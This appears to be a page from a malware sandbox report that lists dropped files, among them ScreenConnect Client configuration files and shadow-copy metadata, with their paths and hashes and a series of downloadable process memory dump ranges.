Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
Size 573B
SHA256 5f7b55d34a19c3a03f4baa951946eb43f387ae6b40731e25cbee092a66e363f9
MD5 510e5604eb54876018079707d282afa3
SHA1 0e4216b93993840c7fe43e7c103c673b377311c3
SHA512 cafc10a5d07386a14c43e775ab349a50869cc966346f2539e43587848b7b3cc83307bb908790c5ac203a5cd46e6d25db85aafaacc3b7fa2e92ef3fff0424b0f8
TLSH
T10AF024E930C46E4A07B31E23C5118784EE716BDB0559109874AFA13BAF305EF07A31EA
MD5 SHA1 SHA512 TLSH

Submit Download

uyupayy1.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\uyupayy1.newcfg
Size 573B
SHA256 0b3b95c7c7bd9772ff1069e47bebcda0c1df08fc3e3f356cfcfde4be136e48a1
MD5 4be3f74eef275ad084733924a27c4cab
SHA1 475c8d8377cd378b1e09f7075b488cd6c3a2de7e
SHA512 51b6d0c31b96455ddeded1a24f05fcb6a5ed36e5e1859a2d2b48f4a69921aae07ffd051d24d4cb2672657d6eea0b02291c6cab2453e7487d727a529b8c35f868
TLSH
T171F02BE530C46D4A07735D23C5114785EE715BDB0555109934AF513B9F301DF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.1MB
SHA256 558a3b0f3b6414ae57c03c8454fb1db41ec01c8e84d1ad201620820820a04c19
MD5 6169f75792b478b168463a82617878a8
SHA1 a99e02ea0d1659bcf52d0767c60aefa2eca9c36f
SHA512 d8b9b67a42633f709f3f1a546160b19243289f5d565f60ae700ce60874dd14cfe0c6df7825b1b33635b7962ec71c68db45f4fbbacf55397de13fccaa8616536a
SSDEEP 24576:yu8m+1zKdoO/vvTLLWO+bGaKvX0T21eiCYGNshfFG06fOZ3TIPVX2oFx7:b
TLSH
T1E447D52436FD2110E7F79E3C78F46A23893A7D5B9C15DE8D05461B4E0A21BB0E872F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{3a30bda7-4083-4ebd-bcbc-68c1dfc0f83d}_OnDiskSnapshotProp

Path \??\Volume{e2a40a55-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3a30bda7-4083-4ebd-bcbc-68c1dfc0f83d}_OnDiskSnapshotProp
Size 6KB
SHA256 2b6770cf0620d1ee64c3b756c8c5b3e84117a77de357426ab40e9ddb0252ce6b
MD5 bfc0212790370b90206cf177048b7928
SHA1 91fa15ff82148b8da067e3c619e05c37993bb4e0
SHA512 0aa69fb2498e41d6dc95716dfb368e84522fc5f4019eb3e34949d1a333be6faf83b56b211aaa7e69b013427bf82749bc4f8ef15fbf59285a2f4c272132c34648
SSDEEP 96:FZ0cnvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:3Db++ZVm
TLSH
T188D1780C5AE54311E2B3AB7129F54557A877B811EF33CB8E0198238E2670A10F975FAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/820-8-0x0000000005B40000-0x0000000005BD2000-memory.dmp

Download

memory/820-11-0x0000000001910000-0x0000000001920000-memory.dmp

Download

memory/820-10-0x0000000001910000-0x0000000001920000-memory.dmp

Download

memory/820-9-0x0000000001910000-0x0000000001920000-memory.dmp

Download

memory/820-0-0x0000000001910000-0x0000000001920000-memory.dmp

Download

memory/820-14-0x0000000005CD0000-0x0000000005D33000-memory.dmp

Download

memory/820-7-0x0000000005FF0000-0x0000000006594000-memory.dmp

Download

memory/820-6-0x0000000005880000-0x0000000005A2E000-memory.dmp

Download

memory/820-5-0x0000000005860000-0x0000000005884000-memory.dmp

Download

memory/820-4-0x00000000057C0000-0x000000000584E000-memory.dmp

Download

memory/820-3-0x0000000001A50000-0x0000000001A58000-memory.dmp

Download

memory/820-2-0x0000000001910000-0x0000000001920000-memory.dmp

Download

memory/820-1-0x0000000001920000-0x0000000001928000-memory.dmp

Download

memory/1028-144-0x000000001B4B0000-0x000000001B518000-memory.dmp

Download

memory/1028-145-0x000000001B520000-0x000000001B5AE000-memory.dmp

Download

memory/1028-152-0x0000000002B80000-0x0000000002B98000-memory.dmp

Download

memory/1028-151-0x0000000002B40000-0x0000000002B58000-memory.dmp

Download

memory/1028-149-0x000000001BDE0000-0x000000001BF66000-memory.dmp

Download

memory/1028-146-0x000000001BAA0000-0x000000001BC4E000-memory.dmp

Download

memory/1028-143-0x0000000000930000-0x00000000009CA000-memory.dmp

Download

memory/1028-157-0x00000000029F0000-0x00000000029FC000-memory.dmp

Download

memory/2192-51-0x0000000005150000-0x00000000051DE000-memory.dmp

Download

memory/2192-55-0x0000000005390000-0x000000000553E000-memory.dmp

Download

memory/2192-47-0x0000000002CA0000-0x0000000002CAA000-memory.dmp

Download

memory/2192-43-0x0000000002C60000-0x0000000002C8E000-memory.dmp

Download

memory/3900-141-0x00000000051E0000-0x00000000051E7000-memory.dmp

Download

memory/3900-142-0x0000000005D00000-0x0000000005D7E000-memory.dmp

Download

memory/3900-61-0x00000000051E0000-0x00000000051E7000-memory.dmp

Download

memory/3900-62-0x0000000005D00000-0x0000000005D7E000-memory.dmp

Download

memory/4008-155-0x0000000000FC0000-0x0000000000FCB000-memory.dmp

Download

memory/4008-120-0x00000000038D0000-0x0000000003938000-memory.dmp

Download

memory/4008-104-0x0000000001000000-0x0000000001018000-memory.dmp

Download

memory/4008-114-0x0000000003970000-0x0000000003B1E000-memory.dmp

Download

memory/4008-110-0x00000000036D0000-0x000000000375E000-memory.dmp

Download

memory/4008-116-0x0000000003810000-0x0000000003860000-memory.dmp

Download

memory/4936-150-0x00000291BE060000-0x00000291BE06C000-memory.dmp

Download